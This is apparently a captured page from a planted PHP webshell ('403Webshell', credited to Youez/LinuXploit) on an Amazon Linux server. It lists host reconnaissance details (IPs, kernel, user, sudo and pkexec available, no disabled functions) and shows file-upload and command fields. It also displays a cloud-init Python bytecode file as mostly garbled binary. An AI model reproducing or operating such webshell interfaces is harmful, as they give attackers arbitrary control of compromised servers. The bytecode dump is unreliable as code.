403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/cloudinit/handlers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/handlers/__pycache__/jinja_template.cpython-39.opt-1.pyc
a

�½b��@sddlZddlZddlZddlmZddlmZzddlmZ	ddl
mZWn eyle
Z	e�d�ZYn0ddlmZddlmZdd	lmZdd
lmZddlmZmZddlmZmZmZmZe�e �Z!Gd
d�dej"�Z#ddd�Z$ddd�Z%e&ee&d�dd�Z'ddd�Z(dS)�N)�EACCES)�Optional)�UndefinedError)�operator_rez[-.])�handlers)�log)�
PER_ALWAYS)�INSTANCE_JSON_SENSITIVE_FILE)�MISSING_JINJA_PREFIX�
render_string)�b64d�
json_dumps�	load_file�	load_jsonc@s"eZdZdgZdd�Zdd�ZdS)�JinjaTemplatePartHandlerz## template: jinjacKsLtjj|tdd�||_i|_|�dg�D]}|��D]}||j|<q6q*dS)N�)�version�sub_handlers)r�Handler�__init__r�pathsr�getZ
list_types)�selfrZ_kwargsZhandler�ctype�r�E/usr/lib/python3.9/site-packages/cloudinit/handlers/jinja_template.pyrsz!JinjaTemplatePartHandler.__init__cCs�|tjvrdStj�|jjt�}t|||�}|s4dSt�	|�}	|j
�|	�}
|
s`t�
d||	�dS|
jdkr�|
�||||||�n|
jdkr�|
�|||||�dS)NzPIgnoring jinja template for %s. Could not find supported sub-handler for type %sr�)rZCONTENT_SIGNALS�os�path�joinrZrun_dirr	�render_jinja_payload_from_fileZtype_from_starts_withrr�LOG�warningZhandler_version�handle_part)r�datar�filename�payloadZ	frequencyZheadersZjinja_json_file�rendered_payloadZsubtypeZsub_handlerrrrr#'s6
��
�
�

�z$JinjaTemplatePartHandler.handle_partN)�__name__�
__module__�__qualname__�prefixesrr#rrrrrsrFc
Cs�i}d}tj�|�s td|��ztt|��}Wn@ttfyp}z$|jt	kr\td|�|�WYd}~n
d}~00t
||||�}|s�dS|S)aRRender a jinja template payload sourcing variables from jinja_vars_path.

    @param payload: String of jinja template content. Should begin with
        ## template: jinja
.
    @param payload_fn: String representing the filename from which the payload
        was read used in error reporting. Generally in part-handling this is
        'part-##'.
    @param instance_data_file: A path to a json file containing variables that
        will be used as jinja template variables.

    @return: A string of jinja-rendered content with the jinja header removed.
        Returns None on error.
    NzFCannot render jinja template vars. Instance data not yet present at %szGCannot render jinja template vars. No read permission on '%s'. Try sudo)rr�exists�RuntimeErrorrr�IOError�OSError�errnor�render_jinja_payload)r&�
payload_fnZinstance_data_file�debug�
instance_datar'�errrr Fs2��
����r c
Cs�t||�dg�dd�}|r*t�dt|��zt||�}Wn<ttfyt}z t�d|t	|��WYd}~dSd}~00dd�t
�dt|�D�}|r�t�d	|d
�
|��|S)Nzbase64-encoded-keysT)�decode_paths�include_key_aliaseszConverted jinja variables
%sz"Ignoring jinja template for %s: %scSsg|]}d|�td��qS)z'%s'�)�replacer
)�.0�varrrr�
<listcomp>}s�z(render_jinja_payload.<locals>.<listcomp>z%s[^\s]+z:Could not render jinja template variables in file '%s': %sz, )�convert_jinja_instance_datarr!r3r
r�	TypeError�JUndefinedErrorr"�str�re�findallr
r)r&r2r4r3Zinstance_jinja_varsr'r5�warningsrrrr1ns4
�����r1)�	orig_name�returncCst�td|�}||kr|SdS)a�Return a jinja variable alias, replacing any operators with underscores.

    Provide underscore-delimited key aliases to simplify dot-notation
    attribute references for keys which contain operators "." or "-".
    This provides for simpler short-hand jinja attribute notation
    allowing one to avoid quoting keys which contain operators.
    {{ ds.v1_0.config.user_network_config }} instead of
    {{ ds['v1.0'].config["user.network-config"] }}.

    :param orig_name: String representing a jinja variable name to scrub/alias.

    :return: A string with any jinja operators replaced if needed. Otherwise,
        none if no alias required.
    �_N)rA�subr)rD�
alias_namerrr�get_jinja_variable_alias�srIr8�/rcCs�i}dd�|D�}t|���D]�\}}|r8d�|||�n|}||vrLt|�}t|t�r�t|||||d�||<t�d|�r�||��D]\}	}
t	�
|
�||	<q�n|||<|rt|�}|rt	�
||�||<q|S)z�Process instance-data.json dict for use in jinja templates.

    Replace hyphens with underscores for jinja templates and decode any
    base64_encoded_keys.
    cSsg|]}|�dd��qS)�-rF)r9)r:rrrrr<��z/convert_jinja_instance_data.<locals>.<listcomp>z	{0}{1}{2})�sepr6r7zv\d+$)�sorted�items�formatr�
isinstance�dictr=rA�match�copyZdeepcopyrI)r$�prefixrMr6r7�result�key�valueZkey_pathZsubkeyZsubvaluerHrrrr=�s.
�
r=)F)F)r8rJrF))rTrrAr0r�typingrZjinja2.exceptionsrr?Zjinja2.lexerr�ImportError�	Exception�compileZ	cloudinitrrZloggingZcloudinit.settingsrZcloudinit.sourcesr	Zcloudinit.templaterr
rZcloudinit.utilrr
rrZ	getLoggerr(r!rrr r1r@rIr=rrrr�<module>s0
,�
(
�

Youez - 2016 - github.com/yon3zu
LinuXploit